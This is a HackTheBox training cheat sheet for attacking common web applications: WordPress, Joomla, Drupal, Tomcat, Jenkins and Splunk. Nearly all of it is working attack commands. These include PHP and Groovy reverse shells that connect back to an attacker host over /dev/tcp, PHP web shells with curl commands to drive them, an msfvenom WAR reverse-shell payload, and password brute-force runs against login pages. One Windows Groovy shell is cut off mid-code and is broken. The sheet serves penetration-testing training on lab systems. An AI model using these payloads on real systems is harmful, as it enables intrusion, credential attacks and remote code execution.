HACKTHEBOX

ATTACKING COMMON APPLICATIONS

CHEAT SHEET

Command	Description
`sudo vim /etc/hosts`	Opens the `/etc/hosts` with `vim` to start adding hostnames
`sudo nmap -p 80,443,8000,8080,8180,8888,10000 --open -oA web_discovery -iL scope_list`	Runs an nmap scan using common web application ports based on a scope list (`scope_list`) and outputs to a file (`web_discovery`) in all formats (`-oA`)
`eyewitness --web -x web_discovery.xml -d <nameofdirectorytobecreated>`	Runs `eyewitness` using a file generated by an nmap scan (`web_discovery.xml`) and creates a directory (`-d`)
`cat web_discovery.xml | ./aquatone -nmap`	Concatenates the contents of nmap scan output (web_discovery.xml) and pipes it to aquatone (`./aquatone`) while ensuring aquatone recognizes the file as nmap scan output (`-nmap`)
`sudo wpscan --url <http://domainnameoripaddress> --enumerate`	Runs wpscan using the `--enmuerate` flag. Can replace the url with any valid and reachable URL in each challenge
`sudo wpscan --password-attack xmlrpc -t 20 -U john -P /usr/share/wordlists/rockyou.txt --url <http://domainnameoripaddress>`	Runs wpscan and uses it to perform a password attack (`--password-attack`) against the specified url and references a word list (`/usr/share/wordlists/rockyou.txt`)
`curl -s http://<hostnameoripoftargetsite/path/to/webshell.php?cmd=id`	cURL command used to execute commands (`cmd=id`) on a vulnerable system utilizing a php-based webshell
`<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/<ip address of attack box>/<port of choice> 0>&1'");`	PHP code that will execute a reverse shell on a Linux-based system
`droopescan scan joomla --url http://<domainnameoripaddress>`	Runs `droopescan` against a joomla site located at the specified url

Command	Description
`sudo python3 joomla-brute.py -u http://dev.inlanefreight.local -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr <username or path to username list>`	Runs joomla-brute.py tool with python3 against a specified url, utilizing a specified wordlist (`/usr/share/metasploit-framework/data/wordlists/http_default_pass.txt`) and user or list of usernames (`-usr`)
`<?php system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']); ?>`	PHP code that will allow for web shell access on a vulnerable drupal site. Can be used through browisng to the location of the file in the web directory after saving. Can also be leveraged utilizing curl. See next command.
`curl -s <http://domainname or IP address of site> /node/3?dcfdd5e021a869fcc6dfaef8bf31377e=id | grep uid | cut -f4 -d">"`	Uses curl to navigate to php web shell file and run system commands (`=id`) on the target
`gobuster dir -u <http://domainnameoripaddressofsite> -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt`	`gobuster` powered directory brute forcing attack refrencing a wordlist (`/usr/share/dirbuster/wordlists/directory-list-2.3-small.txt`)
`auxiliary/scanner/http/tomcat_mgr_login`	Useful Metasploit scanner module used to perform a bruteforce login attack against a tomcat site
`python3 mgr_brute.py -U <http://domainnameoripaddressofTomCatsite> -P /manager -u /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt -p /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt`	Runs mgr_brute.py using python3 against the specified website starts in the /manager directory (`-P /manager`) and references a specified user or userlist (`-u`) as well as a specified password or password list (`-p`)
`msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip address of attack box> LPORT=<port to listen on to catch a shell> -f war > backup.war`	Generates a jsp-based reverse shell payload in the form of a .war file utilizing `msfvenom`
`nmap -sV -p 8009,8080 <domainname or IP address of tomcat site>`	Nmap scan useful in enumerating Apache Tomcat and AJP services
`r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.15/8443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()`	Groovy-based reverse shell payload/code that can work with admin access to the `Script Console` of a `Jenkins` site. Will work when the underlying OS is Linux
`def cmd = "cmd.exe /c dir".execute(); println("${cmd.text}");`	Groovy-based payload/code that can work with admin access to the `Script Console` of a `Jenkins` site. This will allow webshell access and to execute commands on the underlying Windows system

Command	Description
`String host="localhost"; int port=8044; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new So);`	Groovy-based reverse shell payload/code that can work with admin acess to the `Script Console` of a `Jenkins`site. Will work when the underlying OS is Windows
reverse_shell_splunk	A simple Splunk package for obtaining revershells on Windows and Linux systems